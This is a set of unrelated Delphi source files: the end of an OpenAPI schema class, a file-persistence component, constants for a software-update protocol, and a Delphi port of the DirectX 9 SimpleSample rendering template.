property MaxLength: NullInteger read FMaxLength write FMaxLength;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
property MinLength: NullInteger read FMinLength write FMinLength;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// This string SHOULD be a valid regular expression, according to the ECMA 262 regular expression dialect
/// </summary>
property Pattern: NullString read FPattern write FPattern;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
property MultipleOf: NullDouble read FMultipleOf write FMultipleOf;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// The default value represents what would be assumed by the consumer of the input as the value of the schema if one is not provided.
/// Unlike JSON Schema, the value MUST conform to the defined type for the Schema Object defined at the same level.
/// For example, if type is string, then default can be "foo" but cannot be 1.
/// </summary>
//[NeonProperty('default')] [NeonInclude(IncludeIf.NotEmpty)]
//property Default_: TOpenAPISchema read FDefault_ write FDefault_;
{ TODO -opaolo -c : Il risultato è un valore (Any) 21/05/2019 14:47:36 }
/// <summary>
/// Relevant only for Schema "properties" definitions. Declares the property as "read only".
/// This means that it MAY be sent as part of a response but SHOULD NOT be sent as part of the request.
/// If the property is marked as ReadOnly_ being true and is in the required list,
/// the required will take effect on the response only.
/// A property MUST NOT be marked as both ReadOnly_ and WriteOnly_ being true.
/// Default value is false.
/// </summary>
[NeonProperty('readOnly')]
property ReadOnly_: NullBoolean read FReadOnly_ write FReadOnly_;
/// <summary>
/// Relevant only for Schema "properties" definitions. Declares the property as "write only".
/// Therefore, it MAY be sent as part of a request but SHOULD NOT be sent as part of the response.
/// If the property is marked as WriteOnly_ being true and is in the required list,
/// the required will take effect on the request only.
/// A property MUST NOT be marked as both ReadOnly_ and WriteOnly_ being true.
/// Default value is false.
/// </summary>
[NeonProperty('writeOnly')]
property WriteOnly_: NullBoolean read FWriteOnly_ write FWriteOnly_;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// Inline or referenced schema MUST be of a Schema Object and not a standard JSON Schema.
/// </summary>
[NeonInclude(IncludeIf.NotEmpty)]
property AllOf: TObjectList<TOpenAPISchema> read FAllOf write FAllOf;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// Inline or referenced schema MUST be of a Schema Object and not a standard JSON Schema.
/// </summary>
[NeonInclude(IncludeIf.NotEmpty)]
property OneOf: TObjectList<TOpenAPISchema> read FOneOf write FOneOf;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// Inline or referenced schema MUST be of a Schema Object and not a standard JSON Schema.
/// </summary>
[NeonInclude(IncludeIf.NotEmpty)]
property AnyOf: TObjectList<TOpenAPISchema> read FAnyOf write FAnyOf;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// Inline or referenced schema MUST be of a Schema Object and not a standard JSON Schema.
/// </summary>
[NeonInclude(IncludeIf.NotNull)]
property Not_: TOpenAPISchema read FNot_ write FNot_;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
[NeonInclude(IncludeIf.NotEmpty)]
property Required: TArray<string> read FRequired write FRequired;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// Value MUST be an object and not an array. Inline or referenced schema MUST be of a Schema Object
/// and not a standard JSON Schema. items MUST be present if the type is array.
/// </summary>
[NeonInclude(IncludeIf.NotNull)]
property Items: TOpenAPISchema read FItems write FItems;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
property MaxItems: NullInteger read FMaxItems write FMaxItems;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
property MinItems: NullInteger read FMinItems write FMinItems;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
property UniqueItems: NullBoolean read FUniqueItems write FUniqueItems;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// Property definitions MUST be a Schema Object and not a standard JSON Schema (inline or referenced).
/// </summary>
[NeonInclude(IncludeIf.NotEmpty)]
property Properties: TObjectDictionary<string, TOpenAPISchema> read FProperties write FProperties;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
property MaxProperties: NullInteger read FMaxProperties write FMaxProperties;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
property MinProperties: NullInteger read FMinProperties write FMinProperties;
/// <summary>
/// Indicates if the schema can contain properties other than those defined by the properties map.
/// </summary>
property AdditionalPropertiesAllowed: NullBoolean read FAdditionalPropertiesAllowed write FAdditionalPropertiesAllowed;
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// Value can be boolean or object. Inline or referenced schema
/// MUST be of a Schema Object and not a standard JSON Schema.
/// </summary>
[NeonInclude(IncludeIf.NotNull)]
property AdditionalProperties: TOpenAPISchema read FAdditionalProperties write FAdditionalProperties;
/// <summary>
/// Adds support for polymorphism. The discriminator is an object name that is used to differentiate
/// between other schemas which may satisfy the payload description.
/// </summary>
[NeonInclude(IncludeIf.NotEmpty)]
property Discriminator: TOpenAPIDiscriminator read FDiscriminator write FDiscriminator;
/// <summary>
/// A free-form property to include an example of an instance for this schema.
/// To represent examples that cannot be naturally represented in JSON or YAML,
/// a string value can be used to contain the example with escaping where necessary.
/// </summary>
//public IOpenApiAny Example
/// <summary>
/// Follow JSON Schema definition: https://tools.ietf.org/html/draft-fge-json-schema-validation-00
/// </summary>
[NeonInclude(IncludeIf.NotEmpty)]
property Enum: TOpenAPIAny read FEnum write FEnum;
/// <summary>
/// Allows sending a null value for the defined schema. Default value is false.
/// </summary>
property Nullable: NullBoolean read FNullable write FNullable;
/// <summary>
/// Additional external documentation for this schema.
/// </summary>
//ExternalDocs: TOpenApiExternalDocs;
/// <summary>
/// This object MAY be extended with Specification Extensions.
/// </summary>
//public IDictionary<string, IOpenApiExtension> Extensions = new Dictionary<string, IOpenApiExtension>();
/// <summary>
/// Indicates object is a placeholder reference to an actual object and does not contain valid data.
/// </summary>
property UnresolvedReference: NullBoolean read FUnresolvedReference write FUnresolvedReference;
/// <summary>
/// Reference object.
/// </summary>
[NeonInclude(IncludeIf.NotEmpty)]
property Reference: TOpenAPIReference read FReference write FReference;
end;
TOpenAPISchemas = class(TObjectList<TOpenAPISchema>)
end;
TOpenAPISchemaMap = class(TObjectDictionary<string, TOpenAPISchema>)
private
public
constructor Create;
end;
implementation
{ TOpenAPIDiscriminator }
constructor TOpenAPIDiscriminator.Create;
begin
FMapping := TDictionary<string, string>.Create;
end;
destructor TOpenAPIDiscriminator.Destroy;
begin
FMapping.Free;
inherited;
end;
{ TOpenAPISchema }
function TOpenAPISchema.AddProperty(const AKeyName: string): TOpenAPISchema;
begin
Result := TOpenAPISchema.Create;
FProperties.Add(AKeyName, Result);
end;
constructor TOpenAPISchema.Create;
begin
//FDefault_ := TOpenAPISchema.Create;
FAllOf := TObjectList<TOpenAPISchema>.Create(True);
FOneOf := TObjectList<TOpenAPISchema>.Create(True);
FAnyOf := TObjectList<TOpenAPISchema>.Create(True);
//FNot_ := TOpenAPISchema.Create;
//FItems := TOpenAPISchema.Create;
FProperties := TObjectDictionary<string, TOpenAPISchema>.Create([doOwnsValues]);
FDiscriminator := TOpenAPIDiscriminator.Create;
//FAdditionalProperties := TOpenAPISchema.Create;
FReference := TOpenAPIReference.Create;
FEnum := TOpenAPIAny.Create;
end;
destructor TOpenAPISchema.Destroy;
begin
FJSONObject.Free;
FReference.Free;
FAdditionalProperties.Free;
FDiscriminator.Free;
FProperties.Free;
FItems.Free;
FNot_.Free;
FAnyOf.Free;
FOneOf.Free;
FAllOf.Free;
FDefault_.Free;
FEnum.Free;
inherited;
end;
procedure TOpenAPISchema.SetJSONObject(AJSON: TJSONObject);
begin
if Assigned(FJSONObject) then
FJSONObject.Free;
FJSONObject := AJSON;
end;
procedure TOpenAPISchema.SetSchemaReference(const AReference: string);
begin
Reference.Ref := '#/components/schemas/' + AReference;
end;
{ TOpenAPISchemaMap }
constructor TOpenAPISchemaMap.Create;
begin
inherited Create([doOwnsValues]);
end;
end.
|
unit LrPersistComponent;
interface
uses
SysUtils, Classes,
LrStreamable;
type
TLrPersistComponent = class(TLrStreamable)
private
FFilename: string;
protected
procedure SetFilename(const Value: string); virtual;
public
procedure Load;
procedure LoadFromFile(const inFilename: string); override;
procedure SaveToFile(const inFilename: string); override;
procedure Save;
property Filename: string read FFilename write SetFilename;
end;
implementation
{ TLrPersistComponent }
procedure TLrPersistComponent.SetFilename(const Value: string);
begin
FFilename := Value;
end;
procedure TLrPersistComponent.Load;
begin
LoadFromFile(Filename);
end;
procedure TLrPersistComponent.Save;
begin
if Filename <> '' then
SaveToFile(Filename);
end;
procedure TLrPersistComponent.LoadFromFile(const inFilename: string);
begin
Filename := inFilename;
inherited;
end;
procedure TLrPersistComponent.SaveToFile(const inFilename: string);
begin
Filename := inFilename;
inherited;
end;
end.
|
unit UPCommon;
interface
uses
System.Classes, System.SysUtils;
const
{ 消息指令码 }
MSG_CMD = 'm.cmd'; // 指令名称
CMD_KEEPALIVE = 1; // 心跳包
CMD_CHECKVERSION = 2; // 检查版本
CMD_UPDATEFIELS = 3; // 要升级的文件
CMD_DOWNLOADFILE = 4; // 下载要升级的文件
/// <summary> 请求参数 </summary>
HCUP_VERNO = 'u.no';
HCUP_FILE = 'u.f';
HCUP_UPDATEFILES = 'u.fs';
HCUP_FILEPATH = 'u.ph';
HCUP_FILEPOS = 'u.ps';
HCUP_FILESIZE = 'u.sz';
function BytesToStr(const Bytes: Extended): string;
implementation
const
KB = Int64(1024);
MB = KB * 1024;
GB = MB * 1024;
TB = GB * 1024;
PB = TB * 1024;
function BytesToStr(const Bytes: Extended): string;
begin
if (Bytes = 0) then
Result := ''
else
if (Bytes < KB) then
Result := FormatFloat('0.##B', Bytes)
else
if (Bytes < MB) then
Result := FormatFloat('0.##KB', Bytes / KB)
else
if (Bytes < GB) then
Result := FormatFloat('0.##MB', Bytes / MB)
else
if (Bytes < TB) then
Result := FormatFloat('0.##GB', Bytes / GB)
else
if (Bytes < PB) then
Result := FormatFloat('0.##TB', Bytes / TB)
else
Result := FormatFloat('0.##PB', Bytes / PB)
end;
end.
|
(*----------------------------------------------------------------------------*
* Direct3D sample from DirectX 9.0 SDK December 2006 *
* Delphi adaptation by Alexey Barkovoy (e-mail: directx@clootie.ru) *
* *
* Supported compilers: Delphi 5,6,7,9; FreePascal 2.0 *
* *
* Latest version can be downloaded from: *
* http://www.clootie.ru *
* http://sourceforge.net/projects/delphi-dx9sdk *
*----------------------------------------------------------------------------*
* $Id: SimpleSampleUnit.pas,v 1.7 2007/02/05 22:21:12 clootie Exp $
*----------------------------------------------------------------------------*)
//--------------------------------------------------------------------------------------
// File: SimpleSample.cpp
//
// Basic starting point for new Direct3D samples
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//--------------------------------------------------------------------------------------
{$I DirectX.inc}
unit SimpleSampleUnit;
interface
uses
Windows, Messages, SysUtils,
DXTypes, Direct3D9, D3DX9,
DXUT, DXUTcore, DXUTSettingsDlg, DXUTenum, DXUTmisc, DXUTgui;
{.$DEFINE DEBUG_VS} // Uncomment this line to debug vertex shaders
{.$DEFINE DEBUG_PS} // Uncomment this line to debug pixel shaders
//--------------------------------------------------------------------------------------
// Global variables
//--------------------------------------------------------------------------------------
var
g_pFont: ID3DXFont; // Font for drawing text
g_pTextSprite: ID3DXSprite; // Sprite for batching draw text calls
g_pEffect: ID3DXEffect; // D3DX effect interface
g_Camera: CModelViewerCamera; // A model viewing camera
g_bShowHelp: Boolean = True; // If true, it renders the UI control text
g_DialogResourceManager: CDXUTDialogResourceManager; // manager for shared resources of dialogs
g_SettingsDlg: CD3DSettingsDlg; // Device settings dialog
g_HUD: CDXUTDialog; // dialog for standard controls
g_SampleUI: CDXUTDialog; // dialog for sample specific controls
//--------------------------------------------------------------------------------------
// UI control IDs
//--------------------------------------------------------------------------------------
const
IDC_TOGGLEFULLSCREEN = 1;
IDC_TOGGLEREF = 2;
IDC_CHANGEDEVICE = 3;
//--------------------------------------------------------------------------------------
// Forward declarations
//--------------------------------------------------------------------------------------
function IsDeviceAcceptable(const pCaps: TD3DCaps9; AdapterFormat, BackBufferFormat: TD3DFormat; bWindowed: Boolean; pUserContext: Pointer): Boolean; stdcall;
function ModifyDeviceSettings(var pDeviceSettings: TDXUTDeviceSettings; const pCaps: TD3DCaps9; pUserContext: Pointer): Boolean; stdcall;
function OnCreateDevice(const pd3dDevice: IDirect3DDevice9; const pBackBufferSurfaceDesc: TD3DSurfaceDesc; pUserContext: Pointer): HRESULT; stdcall;
function OnResetDevice(const pd3dDevice: IDirect3DDevice9; const pBackBufferSurfaceDesc: TD3DSurfaceDesc; pUserContext: Pointer): HRESULT; stdcall;
procedure OnFrameMove(const pd3dDevice: IDirect3DDevice9; fTime: Double; fElapsedTime: Single; pUserContext: Pointer); stdcall;
procedure OnFrameRender(const pd3dDevice: IDirect3DDevice9; fTime: Double; fElapsedTime: Single; pUserContext: Pointer); stdcall;
function MsgProc(hWnd: HWND; uMsg: LongWord; wParam: WPARAM; lParam: LPARAM; out pbNoFurtherProcessing: Boolean; pUserContext: Pointer): LRESULT; stdcall;
procedure KeyboardProc(nChar: LongWord; bKeyDown, bAltDown: Boolean; pUserContext: Pointer); stdcall;
procedure OnGUIEvent(nEvent: LongWord; nControlID: Integer; pControl: CDXUTControl; pUserContext: Pointer); stdcall;
procedure OnLostDevice(pUserContext: Pointer); stdcall;
procedure OnDestroyDevice(pUserContext: Pointer); stdcall;
procedure InitApp;
procedure RenderText;
procedure CreateCustomDXUTobjects;
procedure DestroyCustomDXUTobjects;
implementation
//--------------------------------------------------------------------------------------
// Initialize the app
//--------------------------------------------------------------------------------------
procedure InitApp;
var
iY: Integer;
begin
// Initialize dialogs
g_SettingsDlg.Init(g_DialogResourceManager);
g_HUD.Init(g_DialogResourceManager);
g_SampleUI.Init(g_DialogResourceManager);
g_HUD.SetCallback(OnGUIEvent);
iY := 10; g_HUD.AddButton(IDC_TOGGLEFULLSCREEN, 'Toggle full screen', 35, iY, 125, 22);
Inc(iY, 24); g_HUD.AddButton(IDC_TOGGLEREF, 'Toggle REF (F3)', 35, iY, 125, 22);
Inc(iY, 24); g_HUD.AddButton(IDC_CHANGEDEVICE, 'Change device (F2)', 35, iY, 125, 22, VK_F2);
g_SampleUI.SetCallback(OnGUIEvent);
(*
iY := 10;
//TODO: add UI controls as needed
Inc(iY, 24); g_SampleUI.AddComboBox(19, 35, iY, 125, 22);
g_SampleUI.GetComboBox(19).AddItem('Text1', nil);
g_SampleUI.GetComboBox(19).AddItem('Text2', nil);
g_SampleUI.GetComboBox(19).AddItem('Text3', nil);
g_SampleUI.GetComboBox(19).AddItem('Text4', nil);
Inc(iY, 24); g_SampleUI.AddCheckBox(21, 'Checkbox1', 35, iY, 125, 22);
Inc(iY, 24); g_SampleUI.AddCheckBox(11, 'Checkbox2', 35, iY, 125, 22);
Inc(iY, 24); g_SampleUI.AddRadioButton(12, 1, 'Radio1G1', 35, iY, 125, 22);
Inc(iY, 24); g_SampleUI.AddRadioButton(13, 1, 'Radio2G1', 35, iY, 125, 22);
Inc(iY, 24); g_SampleUI.AddRadioButton(14, 1, 'Radio3G1', 35, iY, 125, 22);
g_SampleUI.GetRadioButton(14).Checked := True;
Inc(iY, 24); g_SampleUI.AddButton(17, 'Button1', 35, iY, 125, 22);
Inc(iY, 24); g_SampleUI.AddButton(18, 'Button2', 35, iY, 125, 22);
Inc(iY, 24); g_SampleUI.AddRadioButton( 15, 2, 'Radio1G2', 35, iY, 125, 22);
Inc(iY, 24); g_SampleUI.AddRadioButton( 16, 2, 'Radio2G3', 35, iY, 125, 22);
g_SampleUI.GetRadioButton(16).Checked := True;
Inc(iY, 24); g_SampleUI.AddSlider(20, 50, iY, 100, 22);
g_SampleUI.GetSlider(20).SetRange(0, 100);
g_SampleUI.GetSlider(20).Value := 50;
Inc(iY, 24); g_SampleUI.AddEditBox(20, 'Test', 35, iY, 125, 32);
*)
end;
//--------------------------------------------------------------------------------------
// Called during device initialization, this code checks the device for some
// minimum set of capabilities, and rejects those that don't pass by returning false.
//--------------------------------------------------------------------------------------
function IsDeviceAcceptable(const pCaps: TD3DCaps9; AdapterFormat, BackBufferFormat: TD3DFormat; bWindowed: Boolean; pUserContext: Pointer): Boolean; stdcall;
begin
Result:= False;
// Skip backbuffer formats that don't support alpha blending
if FAILED(DXUTGetD3DObject.CheckDeviceFormat(pCaps.AdapterOrdinal, pCaps.DeviceType,
AdapterFormat, D3DUSAGE_QUERY_POSTPIXELSHADER_BLENDING,
D3DRTYPE_TEXTURE, BackBufferFormat))
then Exit;
// No fallback defined by this app, so reject any device that
// doesn't support at least ps2.0
if (pCaps.PixelShaderVersion < D3DPS_VERSION(2,0)) then Exit;
Result:= True;
end;
//--------------------------------------------------------------------------------------
// This callback function is called immediately before a device is created to allow the
// application to modify the device settings. The supplied pDeviceSettings parameter
// contains the settings that the framework has selected for the new device, and the
// application can make any desired changes directly to this structure. Note however that
// DXUT will not correct invalid device settings so care must be taken
// to return valid device settings, otherwise IDirect3D9::CreateDevice() will fail.
//--------------------------------------------------------------------------------------
{static} var s_bFirstTime: Boolean = True;
function ModifyDeviceSettings(var pDeviceSettings: TDXUTDeviceSettings; const pCaps: TD3DCaps9; pUserContext: Pointer): Boolean; stdcall;
begin
// If device doesn't support HW T&L or doesn't support 2.0 vertex shaders in HW
// then switch to SWVP.
if (pCaps.DevCaps and D3DDEVCAPS_HWTRANSFORMANDLIGHT = 0) or
(pCaps.VertexShaderVersion < D3DVS_VERSION(2,0))
then pDeviceSettings.BehaviorFlags := D3DCREATE_SOFTWARE_VERTEXPROCESSING;
// Debugging vertex shaders requires either REF or software vertex processing
// and debugging pixel shaders requires REF.
{$IFDEF DEBUG_VS}
if (pDeviceSettings.DeviceType <> D3DDEVTYPE_REF) then
with pDeviceSettings do
begin
BehaviorFlags := BehaviorFlags and not D3DCREATE_HARDWARE_VERTEXPROCESSING;
BehaviorFlags := BehaviorFlags and not D3DCREATE_PUREDEVICE;
BehaviorFlags := BehaviorFlags or D3DCREATE_SOFTWARE_VERTEXPROCESSING;
end;
{$ENDIF}
{$IFDEF DEBUG_PS}
pDeviceSettings.DeviceType := D3DDEVTYPE_REF;
{$ENDIF}
// For the first device created if its a REF device, optionally display a warning dialog box
if s_bFirstTime then
begin
s_bFirstTime := False;
if (pDeviceSettings.DeviceType = D3DDEVTYPE_REF) then DXUTDisplaySwitchingToREFWarning;
end;
Result:= True;
end;
//--------------------------------------------------------------------------------------
// This callback function will be called immediately after the Direct3D device has been
// created, which will happen during application initialization and windowed/full screen
// toggles. This is the best location to create D3DPOOL_MANAGED resources since these
// resources need to be reloaded whenever the device is destroyed. Resources created
// here should be released in the OnDestroyDevice callback.
//--------------------------------------------------------------------------------------
function OnCreateDevice(const pd3dDevice: IDirect3DDevice9; const pBackBufferSurfaceDesc: TD3DSurfaceDesc; pUserContext: Pointer): HRESULT; stdcall;
var
dwShaderFlags: DWORD;
str: array [0..MAX_PATH-1] of WideChar;
vecEye: TD3DXVector3;
vecAt: TD3DXVector3;
begin
Result:= g_DialogResourceManager.OnCreateDevice(pd3dDevice);
if V_Failed(Result) then Exit;
Result:= g_SettingsDlg.OnCreateDevice(pd3dDevice);
if V_Failed(Result) then Exit;
// Initialize the font
Result := D3DXCreateFont(pd3dDevice, 15, 0, FW_BOLD, 1, FALSE, DEFAULT_CHARSET,
OUT_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH or FF_DONTCARE,
'Arial', g_pFont);
if Failed(Result) then Exit;
// Define DEBUG_VS and/or DEBUG_PS to debug vertex and/or pixel shaders with the
// shader debugger. Debugging vertex shaders requires either REF or software vertex
// processing, and debugging pixel shaders requires REF. The
// D3DXSHADER_FORCE_*_SOFTWARE_NOOPT flag improves the debug experience in the
// shader debugger. It enables source level debugging, prevents instruction
// reordering, prevents dead code elimination, and forces the compiler to compile
// against the next higher available software target, which ensures that the
// unoptimized shaders do not exceed the shader model limitations. Setting these
// flags will cause slower rendering since the shaders will be unoptimized and
// forced into software. See the DirectX documentation for more information about
// using the shader debugger.
dwShaderFlags := D3DXFX_NOT_CLONEABLE;
{$IFDEF DEBUG}
// Set the D3DXSHADER_DEBUG flag to embed debug information in the shaders.
// Setting this flag improves the shader debugging experience, but still allows
// the shaders to be optimized and to run exactly the way they will run in
// the release configuration of this program.
dwShaderFlags := dwShaderFlags or D3DXSHADER_DEBUG;
{$ENDIF}
{$IFDEF DEBUG_VS}
dwShaderFlags := dwShaderFlags or D3DXSHADER_FORCE_VS_SOFTWARE_NOOPT;
{$ENDIF}
{$IFDEF DEBUG_PS}
dwShaderFlags := dwShaderFlags or D3DXSHADER_FORCE_PS_SOFTWARE_NOOPT;
{$ENDIF}
// Read the D3DX effect file
Result := DXUTFindDXSDKMediaFile(str, MAX_PATH, WideString('SimpleSample.fx'));
if Failed(Result) then Exit;
// If this fails, there should be debug output as to
// they the .fx file failed to compile
Result := D3DXCreateEffectFromFileW(pd3dDevice, str, nil, nil, dwShaderFlags,
nil, g_pEffect, nil);
if Failed(Result) then Exit;
// Setup the camera's view parameters
vecEye := D3DXVector3(0.0, 0.0, -5.0);
vecAt := D3DXVector3(0.0, 0.0, -0.0);
g_Camera.SetViewParams(vecEye, vecAt);
Result:= S_OK;
end;
//--------------------------------------------------------------------------------------
// This callback function will be called immediately after the Direct3D device has been
// reset, which will happen after a lost device scenario. This is the best location to
// create D3DPOOL_DEFAULT resources since these resources need to be reloaded whenever
// the device is lost. Resources created here should be released in the OnLostDevice
// callback.
//--------------------------------------------------------------------------------------
function OnResetDevice(const pd3dDevice: IDirect3DDevice9; const pBackBufferSurfaceDesc: TD3DSurfaceDesc; pUserContext: Pointer): HRESULT; stdcall;
var
fAspectRatio: Single;
begin
Result:= g_DialogResourceManager.OnResetDevice;
if V_Failed(Result) then Exit;
Result:= g_SettingsDlg.OnResetDevice;
if V_Failed(Result) then Exit;
if Assigned(g_pFont) then
begin
Result:= g_pFont.OnResetDevice;
if Failed(Result) then Exit;
end;
if Assigned(g_pEffect) then
begin
Result:= g_pEffect.OnResetDevice;
if Failed(Result) then Exit;
end;
// Create a sprite to help batch calls when drawing many lines of text
Result:= D3DXCreateSprite(pd3dDevice, g_pTextSprite);
if Failed(Result) then Exit;
// Setup the camera's projection parameters
fAspectRatio := pBackBufferSurfaceDesc.Width / pBackBufferSurfaceDesc.Height;
g_Camera.SetProjParams(D3DX_PI/4, fAspectRatio, 0.1, 1000.0);
g_Camera.SetWindow(pBackBufferSurfaceDesc.Width, pBackBufferSurfaceDesc.Height);
g_HUD.SetLocation(pBackBufferSurfaceDesc.Width-170, 0);
g_HUD.SetSize(170, 170);
g_SampleUI.SetLocation(pBackBufferSurfaceDesc.Width-170, pBackBufferSurfaceDesc.Height-350);
g_SampleUI.SetSize(170, 300);
Result:= S_OK;
end;
//--------------------------------------------------------------------------------------
// This callback function will be called once at the beginning of every frame. This is the
// best location for your application to handle updates to the scene, but is not
// intended to contain actual rendering calls, which should instead be placed in the
// OnFrameRender callback.
//--------------------------------------------------------------------------------------
procedure OnFrameMove(const pd3dDevice: IDirect3DDevice9; fTime: Double; fElapsedTime: Single; pUserContext: Pointer); stdcall;
begin
// Update the camera's position based on user input
g_Camera.FrameMove(fElapsedTime);
end;
//--------------------------------------------------------------------------------------
// This callback function will be called at the end of every frame to perform all the
// rendering calls for the scene, and it will also be called if the window needs to be
// repainted. After this function has returned, DXUT will call
// IDirect3DDevice9::Present to display the contents of the next buffer in the swap chain
//--------------------------------------------------------------------------------------
procedure OnFrameRender(const pd3dDevice: IDirect3DDevice9; fTime: Double; fElapsedTime: Single; pUserContext: Pointer); stdcall;
var
mWorld: TD3DXMatrixA16;
mView: TD3DXMatrixA16;
mProj: TD3DXMatrixA16;
mWorldViewProjection: TD3DXMatrixA16;
m: TD3DXMatrixA16;
begin
// If the settings dialog is being shown, then
// render it instead of rendering the app's scene
if g_SettingsDlg.Active then
begin
g_SettingsDlg.OnRender(fElapsedTime);
Exit;
end;
// Clear the render target and the zbuffer
V(pd3dDevice.Clear(0, nil, D3DCLEAR_TARGET or D3DCLEAR_ZBUFFER, D3DCOLOR_ARGB(0, 45, 50, 170), 1.0, 0));
// Render the scene
if SUCCEEDED(pd3dDevice.BeginScene) then
begin
// Get the projection & view matrix from the camera class
mWorld := g_Camera.GetWorldMatrix^;
mProj := g_Camera.GetProjMatrix^;
mView := g_Camera.GetViewMatrix^;
// mWorldViewProjection = mWorld * mView * mProj;
D3DXMatrixMultiply(m, mView, mProj);
D3DXMatrixMultiply(mWorldViewProjection, mWorld, m);
// Update the effect's variables. Instead of using strings, it would
// be more efficient to cache a handle to the parameter by calling
// ID3DXEffect::GetParameterByName
V(g_pEffect.SetMatrix('g_mWorldViewProjection', mWorldViewProjection));
V(g_pEffect.SetMatrix('g_mWorld', mWorld));
V(g_pEffect.SetFloat('g_fTime', fTime));
DXUT_BeginPerfEvent(DXUT_PERFEVENTCOLOR, 'HUD / Stats'); // These events are to help PIX identify what the code is doing
RenderText;
V(g_HUD.OnRender(fElapsedTime));
V(g_SampleUI.OnRender(fElapsedTime));
DXUT_EndPerfEvent;
V(pd3dDevice.EndScene);
end;
end;
//--------------------------------------------------------------------------------------
// Render the help and statistics text. This function uses the ID3DXFont interface for
// efficient text rendering.
//--------------------------------------------------------------------------------------
procedure RenderText;
var
txtHelper: CDXUTTextHelper;
// pd3dsdBackBuffer: PD3DSurfaceDesc;
begin
// The helper object simply helps keep track of text position, and color
// and then it calls pFont->DrawText( m_pSprite, strMsg, -1, &rc, DT_NOCLIP, m_clr );
// If NULL is passed in as the sprite object, then it will work however the
// pFont->DrawText() will not be batched together. Batching calls will improves performance.
txtHelper := CDXUTTextHelper.Create(g_pFont, g_pTextSprite, 15);
// Output statistics
txtHelper._Begin;
txtHelper.SetInsertionPos(5, 5);
txtHelper.SetForegroundColor(D3DXColor(1.0, 1.0, 0.0, 1.0));
txtHelper.DrawTextLine(DXUTGetFrameStats);
txtHelper.DrawTextLine(DXUTGetDeviceStats);
(*
//TODO: add UI text as needed
txtHelper.SetForegroundColor(D3DXColor(1.0, 1.0, 1.0, 1.0 ));
txtHelper.DrawTextLine('Put whatever misc status here');
// Draw help
pd3dsdBackBuffer := DXUTGetBackBufferSurfaceDesc;
if g_bShowHelp then
begin
txtHelper.SetInsertionPos(10, pd3dsdBackBuffer.Height-15*6);
txtHelper.SetForegroundColor(D3DXColor(1.0, 0.75, 0.0, 1.0));
txtHelper.DrawTextLine('Controls (F1 to hide):');
txtHelper.SetInsertionPos(40, pd3dsdBackBuffer.Height-15*5);
txtHelper.DrawTextLine('Quit: ESC');
end else
begin
txtHelper.SetInsertionPos(10, pd3dsdBackBuffer.Height-15*2);
txtHelper.SetForegroundColor(D3DXColor(1.0, 1.0, 1.0, 1.0));
txtHelper.DrawTextLine('Press F1 for help');
end;
*)
txtHelper._End;
txtHelper.Free;
end;
//--------------------------------------------------------------------------------------
// Before handling window messages, DXUT passes incoming windows
// messages to the application through this callback function. If the application sets
// *pbNoFurtherProcessing to TRUE, then DXUT will not process this message.
//--------------------------------------------------------------------------------------
function MsgProc(hWnd: HWND; uMsg: LongWord; wParam: WPARAM; lParam: LPARAM; out pbNoFurtherProcessing: Boolean; pUserContext: Pointer): LRESULT; stdcall;
begin
Result:= 0;
// Always allow dialog resource manager calls to handle global messages
// so GUI state is updated correctly
pbNoFurtherProcessing := g_DialogResourceManager.MsgProc(hWnd, uMsg, wParam, lParam);
if pbNoFurtherProcessing then Exit;
if g_SettingsDlg.IsActive then
begin
g_SettingsDlg.MsgProc(hWnd, uMsg, wParam, lParam);
Exit;
end;
// Give the dialogs a chance to handle the message first
pbNoFurtherProcessing := g_HUD.MsgProc(hWnd, uMsg, wParam, lParam);
if pbNoFurtherProcessing then Exit;
pbNoFurtherProcessing := g_SampleUI.MsgProc(hWnd, uMsg, wParam, lParam);
if pbNoFurtherProcessing then Exit;
// Pass all remaining windows messages to camera so it can respond to user input
g_Camera.HandleMessages(hWnd, uMsg, wParam, lParam);
end;
//--------------------------------------------------------------------------------------
// As a convenience, DXUT inspects the incoming windows messages for
// keystroke messages and decodes the message parameters to pass relevant keyboard
// messages to the application. The framework does not remove the underlying keystroke
// messages, which are still passed to the application's MsgProc callback.
//--------------------------------------------------------------------------------------
procedure KeyboardProc(nChar: LongWord; bKeyDown, bAltDown: Boolean; pUserContext: Pointer); stdcall;
begin
if bKeyDown then
begin
case nChar of
VK_F1: g_bShowHelp := not g_bShowHelp;
end;
end;
end;
//--------------------------------------------------------------------------------------
// Handles the GUI events
//--------------------------------------------------------------------------------------
procedure OnGUIEvent(nEvent: LongWord; nControlID: Integer; pControl: CDXUTControl; pUserContext: Pointer); stdcall;
begin
case nControlID of
IDC_TOGGLEFULLSCREEN: DXUTToggleFullScreen;
IDC_TOGGLEREF: DXUTToggleREF;
IDC_CHANGEDEVICE: with g_SettingsDlg do Active := not Active;
end;
end;
//--------------------------------------------------------------------------------------
